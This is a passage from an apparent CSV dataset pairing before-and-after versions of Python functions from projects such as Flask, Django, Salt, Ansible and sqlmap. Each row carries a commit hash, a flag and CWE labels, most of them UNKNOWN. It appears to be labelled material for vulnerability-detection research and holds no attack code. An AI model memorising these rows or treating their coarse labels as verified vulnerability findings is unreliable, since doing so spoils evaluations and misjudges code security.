    return package_data",,jupyter/notebook,8489faa4cfd865a435abcb4c49d057916ed08734,"def find_package_data():
    """"""
    Find package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
    ]

    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir('notebook')
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    # for verification purposes, explicitly add main.min.js
    # so that installation will fail if they are missing
    for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
        static_data.append(pjoin('static', app, 'js', 'main.min.js'))
    
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""es6-promise"", ""*.js""),
        pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
        pjoin(components, ""moment"", ""moment.js""),
        pjoin(components, ""moment"", ""min"", ""moment.min.js""),
        pjoin(components, ""xterm.js"", ""src"", ""xterm.js""),
        pjoin(components, ""xterm.js"", ""src"", ""xterm.css""),
        pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
    ])

    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))

    # Trim mathjax
    mj = lambda *path: pjoin(components, 'MathJax', *path)
    static_data.extend([
        mj('MathJax.js'),
        mj('config', 'TeX-AMS_HTML-full.js'),
        mj('config', 'Safe.js'),
    ])
    
    trees = []
    mj_out = mj('jax', 'output')
    
    if os.path.exists(mj_out):
        for output in os.listdir(mj_out):
            path = pjoin(mj_out, output)
            static_data.append(pjoin(path, '*.js'))
            autoload = pjoin(path, 'autoload')
            if os.path.isdir(autoload):
                trees.append(autoload)

    for tree in trees + [
        mj('localization'), # limit to en?
        mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
        mj('extensions'),
        mj('jax', 'input', 'TeX'),
        mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
        mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
    ]:
        for parent, dirs, files in os.walk(tree):
            for f in files:
                static_data.append(pjoin(parent, f))

    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(cwd)

    package_data = {
        'notebook' : ['templates/*'] + static_data,
        'notebook.tests' : js_tests,
    }
    
    return package_data"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/testsuite/appctx.py,0,"def test_app_tearing_down(self):
        cleanup_stuff = []
        app = flask.Flask(__name__)
        @app.teardown_appcontext
        def cleanup(exception):
            cleanup_stuff.append(exception)

        with app.app_context():
            pass

        self.assert_equal(cleanup_stuff, [None])",,pallets/flask,a3a2f521f14ba90689efc661afe7a0375409c83e,"def test_app_tearing_down(self):
        cleanup_stuff = []
        app = flask.Flask(__name__)
        @app.teardown_appcontext
        def cleanup(exception):
            cleanup_stuff.append(exception)

        with app.app_context():
            pass

        self.assert_equal(cleanup_stuff, [None])"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/ctx.py,0,"def __init__(self, app, environ, request=None, session=None):
        self.app = app
        if request is None:
            request = app.request_class(environ)
        self.request = request
        self.url_adapter = None
        try:
            self.url_adapter = app.create_url_adapter(self.request)
        except HTTPException as e:
            self.request.routing_exception = e
        self.flashes = None
        self.session = session

        # Request contexts can be pushed multiple times and interleaved with
        # other request contexts.  Now only if the last level is popped we
        # get rid of them.  Additionally if an application context is missing
        # one is created implicitly so for each level we add this information
        self._implicit_app_ctx_stack = []

        # indicator if the context was preserved.  Next time another context
        # is pushed the preserved context is popped.
        self.preserved = False

        # remembers the exception for pop if there is one in case the context
        # preservation kicks in.
        self._preserved_exc = None

        # Functions that should be executed after the request on the response
        # object.  These will be called before the regular ""after_request""
        # functions.
        self._after_request_functions = []

        if self.url_adapter is not None:
            self.match_request()",,pallets/flask,ca23b7b40638c48a72e7be4ea5134984c399b502,"def __init__(self, app, environ, request=None, session=None):
        self.app = app
        if request is None:
            request = app.request_class(environ)
        self.request = request
        self.url_adapter = app.create_url_adapter(self.request)
        self.flashes = None
        self.session = session

        # Request contexts can be pushed multiple times and interleaved with
        # other request contexts.  Now only if the last level is popped we
        # get rid of them.  Additionally if an application context is missing
        # one is created implicitly so for each level we add this information
        self._implicit_app_ctx_stack = []

        # indicator if the context was preserved.  Next time another context
        # is pushed the preserved context is popped.
        self.preserved = False

        # remembers the exception for pop if there is one in case the context
        # preservation kicks in.
        self._preserved_exc = None

        # Functions that should be executed after the request on the response
        # object.  These will be called before the regular ""after_request""
        # functions.
        self._after_request_functions = []

        self.match_request()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/schema/tests.py,0,"def test_add_generated_field_with_kt_model(self):
        class GeneratedFieldKTModel(Model):
            data = JSONField()
            status = GeneratedField(
                expression=KT(""data__status""),
                output_field=TextField(),
                db_persist=True,
            )

            class Meta:
                app_label = ""schema""

        with CaptureQueriesContext(connection) as ctx:
            with connection.schema_editor() as editor:
                editor.create_model(GeneratedFieldKTModel)
        self.assertIs(
            any(""None"" in query[""sql""] for query in ctx.captured_queries),
            False,
        )",CWE-Unknown,django/django,5875f03ce61b85dfd9ad34f7b871c231c358d432,"def test_add_generated_field_with_kt_model(self):
        class GeneratedFieldKTModel(Model):
            data = JSONField()
            status = GeneratedField(expression=KT(""data__status""), db_persist=True)

            class Meta:
                app_label = ""schema""

        with CaptureQueriesContext(connection) as ctx:
            with connection.schema_editor() as editor:
                editor.create_model(GeneratedFieldKTModel)
        self.assertIs(
            any(""None"" in query[""sql""] for query in ctx.captured_queries),
            False,
        )"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/bash_hash.py,0,"def calculate(self):
        mac_common.set_plugin_members(self)
    
        tasks = mac_pslist.mac_pslist(self._config).calculate()

        nbuckets_offset = self.addr_space.profile.get_obj_offset(""_bash_hash_table"", ""nbuckets"") 

        for task in tasks:
            proc_as = task.get_process_address_space()
            
            # In cases when mm is an invalid pointer 
            if not proc_as:
                continue

            # Do we scan everything or just /bin/bash instances?
            if not (self._config.SCAN_ALL or str(task.p_comm) == ""bash""):
                continue


            bit_string = str(task.task.map.pmap.pm_task_map or '')[9:]
            if bit_string.find(""64BIT"") == -1:
                addr_type = ""unsigned int""
            else:
                addr_type = ""unsigned long long""

            proc_as = task.get_process_address_space()

            for map in task.get_proc_maps():
                if map.get_path() != """":
                    continue

                off = map.start

                while off < map.end:
                    # test the number of buckets
                    dr = proc_as.read(off + nbuckets_offset, 4)
                    if dr == None:
                        new_off = (off & ~0xfff) + 0xfff + 1
                        off = new_off
                        continue

                    test = struct.unpack(""<I"", dr)[0]
                    if test != 64:
                        off = off + 1
                        continue

                    htable = obj.Object(""_bash_hash_table"", offset = off, vm = proc_as)
                    
                    if htable.is_valid():
                        bucket_array = obj.Object(theType=""Array"", targetType=addr_type, offset = htable.bucket_array, vm = htable.nbuckets.obj_vm, count = 64)

                        for bucket_ptr in bucket_array:
                            bucket = obj.Object(""bucket_contents"", offset = bucket_ptr, vm = htable.nbuckets.obj_vm)
                            while bucket.times_found > 0 and bucket.data.is_valid() and bucket.key.is_valid():  
                                pdata = bucket.data 

                                if pdata.path.is_valid() and (0 <= pdata.flags <= 2):
                                    yield task, bucket

                                bucket = bucket.next
                    
                    off = off + 1",,volatilityfoundation/volatility,782372bc160398ffbe3ec202da21200033565f64,"def calculate(self):
        mac_common.set_plugin_members(self)
    
        tasks = mac_pslist.mac_pslist(self._config).calculate()

        nbuckets_offset = self.addr_space.profile.get_obj_offset(""_bash_hash_table"", ""nbuckets"") 

        for task in tasks:
            proc_as = task.get_process_address_space()
            
            # In cases when mm is an invalid pointer 
            if not proc_as:
                continue

            # Do we scan everything or just /bin/bash instances?
            if not (self._config.SCAN_ALL or str(task.p_comm) == ""bash""):
                continue

            proc_as = task.get_process_address_space()

            for map in task.get_proc_maps():
                if map.get_path() != """":
                    continue

                off = map.start

                while off < map.end:
                    # test the number of buckets
                    dr = proc_as.read(off + nbuckets_offset, 4)
                    if dr == None:
                        new_off = (off & ~0xfff) + 0xfff + 1
                        off = new_off
                        continue

                    test = struct.unpack(""<I"", dr)[0]
                    if test != 64:
                        off = off + 1
                        continue

                    htable = obj.Object(""_bash_hash_table"", offset = off, vm = proc_as)
                    
                    if htable.is_valid():
                        bucket_array = obj.Object(theType=""Array"", targetType=""Pointer"", offset = htable.bucket_array, vm = htable.nbuckets.obj_vm, count = 64)

                        for bucket_ptr in bucket_array:
                            bucket = bucket_ptr.dereference_as(""bucket_contents"")
                            while bucket.times_found > 0 and bucket.data.is_valid() and bucket.key.is_valid():  
                                pdata = bucket.data 

                                if pdata.path.is_valid() and (0 <= pdata.flags <= 2):
                                    yield task, bucket

                                bucket = bucket.next
                    
                    off = off + 1"
,UNKNOWN,UNKNOWN,tests/models/test_taskinstance.py,1,"def test_clear_db_references(self, session, create_task_instance):
        tables = [TaskFail, RenderedTaskInstanceFields, XCom]
        ti = create_task_instance()
        ti.note = ""sample note""

        session.merge(ti)
        session.commit()
        for table in [TaskFail, RenderedTaskInstanceFields]:
            session.add(table(ti))
        XCom.set(key=""key"", value=""value"", task_id=ti.task_id, dag_id=ti.dag_id, run_id=ti.run_id)
        session.commit()
        for table in tables:
            assert session.query(table).count() == 1

        filter_kwargs = dict(dag_id=ti.dag_id, task_id=ti.task_id, run_id=ti.run_id, map_index=ti.map_index)
        ti_note = session.query(TaskInstanceNote).filter_by(**filter_kwargs).one()
        assert ti_note.content == ""sample note""

        ti.clear_db_references(session)
        for table in tables:
            assert session.query(table).count() == 0

        assert session.query(TaskInstanceNote).filter_by(**filter_kwargs).one_or_none() is None",CWE-703,apache/airflow,0b9ca46fdb940d7973d424f7991f2fa821e2419f,"def test_clear_db_references(self, session, create_task_instance):
        tables = [TaskFail, RenderedTaskInstanceFields, XCom]
        ti = create_task_instance()
        session.merge(ti)
        session.commit()
        for table in [TaskFail, RenderedTaskInstanceFields]:
            session.add(table(ti))
        XCom.set(key=""key"", value=""value"", task_id=ti.task_id, dag_id=ti.dag_id, run_id=ti.run_id)
        session.commit()
        for table in tables:
            assert session.query(table).count() == 1
        ti.clear_db_references(session)
        for table in tables:
            assert session.query(table).count() == 0"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/tests/test_notebookapp.py,0,"def test_notebook_stop():
    def list_running_servers(runtime_dir):
        for port in range(100, 110):
            yield {
                'pid': 1000 + port,
                'port': port,
                'base_url': '/',
                'hostname': 'localhost',
                'notebook_dir': '/',
                'secure': False,
                'token': '',
                'password': False,
                'url': 'http://localhost:%i' % port,
            }

    mock_servers = patch('notebook.notebookapp.list_running_servers', list_running_servers)

    # test stop with a match
    with mock_servers:
        app = TestingStopApp()
        app.initialize(['105'])
        app.start()
    nt.assert_equal(len(app.servers_shut_down), 1)
    nt.assert_equal(app.servers_shut_down[0]['port'], 105)

    # test no match
    with mock_servers, patch('os.kill') as os_kill:
        app = TestingStopApp()
        app.initialize(['999'])
        with nt.assert_raises(SystemExit) as exc:
            app.start()
        nt.assert_equal(exc.exception.code, 1)
    nt.assert_equal(len(app.servers_shut_down), 0)",,jupyter/notebook,64105856f491e756782422f468a6e46098e9a63d,"def test_notebook_stop():
    def list_running_servers(runtime_dir):
        for port in range(100, 110):
            yield {
                'pid': 1000 + port,
                'port': port,
                'base_url': '/',
                'hostname': 'localhost',
                'notebook_dir': '/',
                'secure': False,
                'token': '',
                'password': False,
                'url': 'http://localhost:%i' % port,
            }

    mock_servers = patch('notebook.notebookapp.list_running_servers', list_running_servers)

    # test stop with a match
    with mock_servers:
        app = TestingStopApp()
        app.initialize(['105'])
        app.start()
    nt.assert_equal(len(app.servers_shut_down), 1)
    nt.assert_equal(app.servers_shut_down[0]['port'], 105)

    # test no match
    with mock_servers, patch('os.kill') as os_kill:
        app = TestingStopApp()
        app.initialize(['999'])
        with nt.assert_raises(SystemExit) as exc:
            app.start()
        nt.assert_equal(exc.exception.exception_code, 1)
    nt.assert_equal(len(app.servers_shut_down), 0)"
,UNKNOWN,UNKNOWN,saltcloud/clouds/openstack.py,1,"def preferred_ip(vm_, ips):
    '''
    Return the preferred Internet protocol. Either 'ipv4' (default) or 'ipv6'.
    '''
    proto = vm_.get('protocol', __opts__.get('OPENSTACK.protocol', 'ipv4'))
    family = socket.AF_INET
    if proto == 'ipv6':
        family = socket.AF_INET6
    for ip in ips:
        try:
            socket.inet_pton(family, ip)
            return ip
        except:
            continue
    return False",CWE-703,saltstack/salt,6370c64daf6486213680246dadb972a96fe2b4cb,"def preferred_ip(vm_, ips):
    '''
    Return the preferred Internet protocol. Either 'ipv4' (default) or 'ipv6'.
    '''
    proto = vm_.get('protocol', __opts__.get('OPENSTACK.protocol', 'ipv4'))
    family = socket.AF_INET
    if proto == 'ipv6':
        family = socket.AF_INET6
    for ip in ips:
        try:
            socket.inet_pton(family, ip)
            return ip
        except:
            continue
    return False"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/blueprints.py,0,"def app_url_value_preprocessor(self, f):
        """"""Same as :meth:`url_value_preprocessor` but application wide.
        """"""
        self.record_once(lambda s: s.app.url_value_preprocessors
            .setdefault(None, []).append(f))
        return f",,pallets/flask,f8caa54d31605f8997698d5c6c295ff4cff9ecdb,"def app_url_value_preprocessor(self, f):
        """"""Same as :meth:`url_value_preprocessor` but application wide.
        """"""
        self.record_once(lambda s: s.app.url_value_preprocessor
            .setdefault(self.name, []).append(f))
        return f"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/core/test_util.py,0,"def test_escaped_representation_simple(self):
        res = b_utils.escaped_bytes_representation(b""ascii"")
        self.assertEqual(res, b""ascii"")",UNKNOWN,PyCQA/bandit,3747dc897fe182e108fb43ebdf1cff83e490d947,"def test_escaped_representation_simple(self):
        res = b_utils.escaped_bytes_representation(b""ascii"")
        self.assertEqual(res, b""ascii"")"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/ninjafirewall.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval |= ""<title>NinjaFirewall: 403 Forbidden"" in (page or """")
        retval |= all(_ in (page or """") for _ in (""For security reasons, it was blocked and logged"", ""NinjaFirewall""))
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval = ""<title>NinjaFirewall: 403 Forbidden"" in (page or """")
        retval |= all(_ in (page or """") for _ in (""For security reasons, it was blocked and logged"", ""NinjaFirewall""))

    return retval"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/gis/geos/point.py,0,"def _ogr_ptr(self):
        return gdal.geometries.Point._create_empty() if self.empty else super(Point, self)._ogr_ptr()",CWE-Unknown,django/django,a413ef2155c4f3e5bf6954608d65a96631feb7e6,"def _ogr_ptr(self):
        return gdal.geometries.Point._create_empty() if self.empty else super(Point, self)._ogr_ptr()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/azure_rm_common.py,0,"def create_default_securitygroup(self, resource_group, location, name, os_type, open_ports):
        '''
        Create a default security group <name>01 to associate with a network interface. If a security group matching
        <name>01 exists, return it. Otherwise, create one.

        :param resource_group: Resource group name
        :param location: azure location name
        :param name: base name to use for the security group
        :param os_type: one of 'Windows' or 'Linux'. Determins any default rules added to the security group.
        :param ssh_port: for os_type 'Linux' port used in rule allowing SSH access.
        :param rdp_port: for os_type 'Windows' port used in rule allowing RDP access.
        :return: security_group object
        '''
        security_group_name = name + '01'
        group = None

        self.log(""Create security group {0}"".format(security_group_name))
        self.log(""Check to see if security group {0} exists"".format(security_group_name))
        try:
            group = self.network_client.network_security_groups.get(resource_group, security_group_name)
        except CloudError:
            pass

        if group:
            self.log(""Security group {0} found."".format(security_group_name))
            self.check_provisioning_state(group)
            return group

        parameters = NetworkSecurityGroup()
        parameters.location = location

        if not open_ports:
            # Open default ports based on OS type
            if os_type == 'Linux':
                # add an inbound SSH rule
                parameters.security_rules = [
                    SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow SSH Access',
                                 source_port_range='*', destination_port_range='22', priority=100, name='SSH')
                ]
                parameters.location = location
            else:
                # for windows add inbound RDP and WinRM rules
                parameters.security_rules = [
                    SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow RDP port 3389',
                                 source_port_range='*', destination_port_range='3389', priority=100, name='RDP01'),
                    SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow WinRM HTTPS port 5986',
                                 source_port_range='*', destination_port_range='5986', priority=101, name='WinRM01'),
                ]
        else:
            # Open custom ports
            parameters.security_rules = []
            priority = 100
            for port in open_ports:
                priority += 1
                rule_name = ""Rule_{0}"".format(priority)
                parameters.security_rules.append(
                    SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', source_port_range='*',
                                 destination_port_range=str(port), priority=priority, name=rule_name)
                )

        self.log('Creating default security group {0}'.format(security_group_name))
        try:
            poller = self.network_client.network_security_groups.create_or_update(resource_group,
                                                                                  security_group_name,
                                                                                  parameters)
        except Exception as exc:
            self.fail(""Error creating default security rule {0} - {1}"".format(security_group_name, str(exc)))

        return self.get_poller_result(poller)",,ansible/ansible,595946b80eeedbbc5dfc2c1217a54283850305f0,"def create_default_securitygroup(self, resource_group, location, name, os_type, open_ports):
        '''
        Create a default security group <name>01 to associate with a network interface. If a security group matching
        <name>01 exists, return it. Otherwise, create one.

        :param resource_group: Resource group name
        :param location: azure location name
        :param name: base name to use for the security group
        :param os_type: one of 'Windows' or 'Linux'. Determins any default rules added to the security group.
        :param ssh_port: for os_type 'Linux' port used in rule allowing SSH access.
        :param rdp_port: for os_type 'Windows' port used in rule allowing RDP access.
        :return: security_group object
        '''
        security_group_name = name + '01'
        group = None

        self.log(""Create security group {0}"".format(security_group_name))
        self.log(""Check to see if security group {0} exists"".format(security_group_name))
        try:
            group = self.network_client.network_security_groups.get(resource_group, security_group_name)
        except CloudError:
            pass

        if group:
            self.log(""Security group {0} found."".format(security_group_name))
            self.check_provisioning_state(group)
            return group

        parameters = NetworkSecurityGroup()
        parameters.location = location

        if not open_ports:
            # Open default ports based on OS type
            if os_type == 'Linux':
                # add an inbound SSH rule
                parameters.security_rules = [
                    SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow SSH Access',
                                 source_port_range='*', destination_port_range='22', priority=100, name='SSH')
                ]
                parameters.location = location
            else:
                # for windows add inbound RDP rules
                parameters.security_rules = [
                    SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow RDP port 3389',
                                 source_port_range='*', destination_port_range='3389', priority=100, name='RDP01'),
                    SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow RDP port 5986',
                                 source_port_range='*', destination_port_range='5986', priority=101, name='RDP01'),
                ]
        else:
            # Open custom ports
            parameters.security_rules = []
            priority = 100
            for port in open_ports:
                priority += 1
                rule_name = ""Rule_{0}"".format(priority)
                parameters.security_rules.append(
                    SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', source_port_range='*',
                                 destination_port_range=str(port), priority=priority, name=rule_name)
                )

        self.log('Creating default security group {0}'.format(security_group_name))
        try:
            poller = self.network_client.network_security_groups.create_or_update(resource_group,
                                                                                  security_group_name,
                                                                                  parameters)
        except Exception as exc:
            self.fail(""Error creating default security rule {0} - {1}"".format(security_group_name, str(exc)))

        return self.get_poller_result(poller)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/units/modules/network/eos/test_eos_config.py,0,"def test_eos_config_backup_returns__backup__(self):
        args = dict(backup=True)
        set_module_args(args)
        result = self.execute_module()
        self.assertIn('__backup__', result)",,ansible/ansible,3bbb32cac5e60df3e36d2d068aca8eeb831bb3dc,"def test_eos_config_backup_returns__backup__(self):
        args = dict(backup=True)
        set_module_args(args)
        result = self.execute_module()
        self.assertIn('__backup__', result)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/shortcuts/__init__.py,0,"def render_to_response(*args, **kwargs):
    return HttpResponse(loader.render_to_string(*args, **kwargs))",CWE-Unknown,django/django,0c341d780ebcde0e81c81eda07e2db3aaa92549b,"def render_to_response(*args, **kwargs):
    return HttpResponse(loader.render_to_string(*args, **kwargs))"
,UNKNOWN,UNKNOWN,tests/pytests/integration/modules/test_mac_power.py,1,"def test_computer_sleep(salt_call_cli, setup_teardown_vars):
    """"""
    Test power.get_computer_sleep
    Test power.set_computer_sleep
    """"""

    # Normal Functionality
    ret = salt_call_cli.run(""power.set_computer_sleep"", 90)
    assert ret.data

    ret = salt_call_cli.run(""power.get_computer_sleep"")
    assert ret.data == ""after 90 minutes""

    ret = salt_call_cli.run(""power.set_computer_sleep"", ""Off"")
    assert ret.data

    ret = salt_call_cli.run(""power.get_computer_sleep"")
    assert ret.data == ""Never""

    # Test invalid input
    ret = salt_call_cli.run(""power.set_computer_sleep"", ""spongebob"")
    assert ""Invalid String Value for Minutes"" in ret.data

    ret = salt_call_cli.run(""power.set_computer_sleep"", 0)
    assert ""Invalid Integer Value for Minutes"" in ret.data

    ret = salt_call_cli.run(""power.set_computer_sleep"", 181)
    assert ""Invalid Integer Value for Minutes"" in ret.data

    ret = salt_call_cli.run(""power.set_computer_sleep"", True)
    assert ""Invalid Boolean Value for Minutes"" in ret.data",CWE-703,saltstack/salt,ff4a2fb9d1c86806b85699c58f6bcd271d7aeefe,"def test_computer_sleep(salt_call_cli, setup_teardown_vars):
    """"""
    Test power.get_computer_sleep
    Test power.set_computer_sleep
    """"""

    # Normal Functionality
    assert salt_call_cli.run(""power.set_computer_sleep"", 90)
    assert salt_call_cli.run(""power.get_computer_sleep"") == ""after 90 minutes""
    assert salt_call_cli.run(""power.set_computer_sleep"", ""Off"")
    assert salt_call_cli.run(""power.get_computer_sleep"") == ""Never""

    # Test invalid input
    assert ""Invalid String Value for Minutes"" in salt_call_cli.run(
        ""power.set_computer_sleep"", ""spongebob""
    )
    assert ""Invalid Integer Value for Minutes"" in salt_call_cli.run(
        ""power.set_computer_sleep"", 0
    )
    assert ""Invalid Integer Value for Minutes"" in salt_call_cli.run(
        ""power.set_computer_sleep"", 181
    )
    assert ""Invalid Boolean Value for Minutes"" in salt_call_cli.run(
        ""power.set_computer_sleep"", True
    )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/win_reg.py,0,"def cast_vdata(vdata=None, vtype='REG_SZ'):
    '''
    Cast the ``vdata` value to the appropriate data type for the registry type
    specified in ``vtype``

    Args:

        vdata (str, int, list, bytes): The data to cast

        vtype (str):
            The type of data to be written to the registry. Must be one of the
            following:

                - REG_BINARY
                - REG_DWORD
                - REG_EXPAND_SZ
                - REG_MULTI_SZ
                - REG_QWORD
                - REG_SZ

    Returns:
        The vdata cast to the appropriate type. Will be unicode string, binary,
        list of unicode strings, or int

    Usage:

        .. code-block:: python

            import salt.utils.win_reg
            winreg.cast_vdata(vdata='This is the string', vtype='REG_SZ')
    '''
    # Check data type and cast to expected type
    # int will automatically become long on 64bit numbers
    # https://www.python.org/dev/peps/pep-0237/

    registry = Registry()
    vtype_value = registry.vtype[vtype]

    # String Types to Unicode
    if vtype_value in [win32con.REG_SZ, win32con.REG_EXPAND_SZ]:
        return _to_unicode(vdata)
    # Don't touch binary... if it's binary
    elif vtype_value == win32con.REG_BINARY:
        if isinstance(vdata, six.text_type):
            # Unicode data must be encoded
            return vdata.encode('utf-8')
        return vdata
    # Make sure REG_MULTI_SZ is a list of strings
    elif vtype_value == win32con.REG_MULTI_SZ:
        return [_to_unicode(i) for i in vdata]
    # Make sure REG_QWORD is a 64 bit integer
    elif vtype_value == win32con.REG_QWORD:
        return vdata if six.PY3 else long(vdata)  # pylint: disable=W1699
    # Everything else is int
    else:
        return int(vdata)",,saltstack/salt,9ad43f2b711f98659520cbdff04ad2ca1ab09f73,"def cast_vdata(vdata=None, vtype='REG_SZ'):
    '''
    Cast the ``vdata` value to the appropriate data type for the registry type
    specified in ``vtype``

    Args:

        vdata (str, int, list, bytes): The data to cast

        vtype (str):
            The type of data to be written to the registry. Must be one of the
            following:

                - REG_BINARY
                - REG_DWORD
                - REG_EXPAND_SZ
                - REG_MULTI_SZ
                - REG_QWORD
                - REG_SZ

    Returns:
        The vdata cast to the appropriate type. Will be unicode string, binary,
        list of unicode strings, or int

    Usage:

        .. code-block:: python

            import salt.utils.win_reg
            winreg.cast_vdata(vdata='This is the string', vtype='REG_SZ')
    '''
    # Check data type and cast to expected type
    # int will automatically become long on 64bit numbers
    # https://www.python.org/dev/peps/pep-0237/

    registry = Registry()
    vtype_value = registry.vtype[vtype]

    # String Types to Unicode
    if vtype_value in [win32con.REG_SZ, win32con.REG_EXPAND_SZ]:
        return _to_unicode(vdata)
    # Don't touch binary... if it's binary
    elif vtype_value == win32con.REG_BINARY:
        if isinstance(vdata, six.text_type):
            # Unicode data must be encoded
            return vdata.encode('utf-8')
        return vdata
    # Make sure REG_MULTI_SZ is a list of strings
    elif vtype_value == win32con.REG_MULTI_SZ:
        return [_to_unicode(i) for i in vdata]
    # Everything else is int
    else:
        return int(vdata)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/ios/ios_vlans.py,0,"def main():
    """"""
    Main entry point for module execution

    :returns: the result form module invocation
    """"""
    required_if = [('state', 'merged', ('config',)),
                   ('state', 'replaced', ('config',)),
                   ('state', 'overridden', ('config',))]

    module = AnsibleModule(argument_spec=VlansArgs.argument_spec,
                           required_if=required_if,
                           supports_check_mode=True)

    result = Vlans(module).execute_module()
    module.exit_json(**result)",,ansible/ansible,7a5a5e7c87daee1d343a432894ff04a2251d6349,"def main():
    """"""
    Main entry point for module execution

    :returns: the result form module invocation
    """"""
    module = AnsibleModule(argument_spec=VlansArgs.argument_spec,
                           supports_check_mode=True)

    result = Vlans(module).execute_module()
    module.exit_json(**result)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/auth/__init__.py,0,"def mk_token(self, load):
        '''
        Run time_auth and create a token. Return False or the token
        '''
        if not self.authenticate_eauth(load):
            return {}
        fstr = '{0}.auth'.format(load['eauth'])
        hash_type = getattr(hashlib, self.opts.get('hash_type', 'md5'))
        tok = str(hash_type(os.urandom(512)).hexdigest())
        t_path = os.path.join(self.opts['token_dir'], tok)
        while os.path.isfile(t_path):
            tok = str(hash_type(os.urandom(512)).hexdigest())
            t_path = os.path.join(self.opts['token_dir'], tok)

        if self._allow_custom_expire(load):
            token_expire = load.pop('token_expire', self.opts['token_expire'])
        else:
            _ = load.pop('token_expire', None)
            token_expire = self.opts['token_expire']

        tdata = {'start': time.time(),
                 'expire': time.time() + token_expire,
                 'name': self.load_name(load),
                 'eauth': load['eauth'],
                 'token': tok}

        if self.opts['keep_acl_in_token']:
            acl_ret = self.__get_acl(load)
            tdata['auth_list'] = acl_ret

        if 'groups' in load:
            tdata['groups'] = load['groups']

        try:
            with salt.utils.fopen(t_path, 'w+b') as fp_:
                fp_.write(self.serial.dumps(tdata))
        except (IOError, OSError):
            log.warning('Authentication failure: can not write token file ""{0}"".'.format(t_path))
            return {}
        return tdata",,saltstack/salt,9309a83d2120c4e792d946483023bbdb33d94b22,"def mk_token(self, load):
        '''
        Run time_auth and create a token. Return False or the token
        '''
        if not self.authenticate_eauth(load):
            return {}
        fstr = '{0}.auth'.format(load['eauth'])
        hash_type = getattr(hashlib, self.opts.get('hash_type', 'md5'))
        tok = str(hash_type(os.urandom(512)).hexdigest())
        t_path = os.path.join(self.opts['token_dir'], tok)
        while os.path.isfile(t_path):
            tok = str(hash_type(os.urandom(512)).hexdigest())
            t_path = os.path.join(self.opts['token_dir'], tok)

        if self._allow_custom_expire(load):
            token_expire = load.pop('token_expire', self.opts['token_expire'])
        else:
            _ = load.pop('token_expire', None)
            token_expire = self.opts['token_expire']

        tdata = {'start': time.time(),
                 'expire': time.time() + token_expire,
                 'name': self.load_name(load),
                 'eauth': load['eauth'],
                 'token': tok}

        acl_ret = self.__get_acl(load)
        if acl_ret is not None:
            tdata['auth_list'] = acl_ret

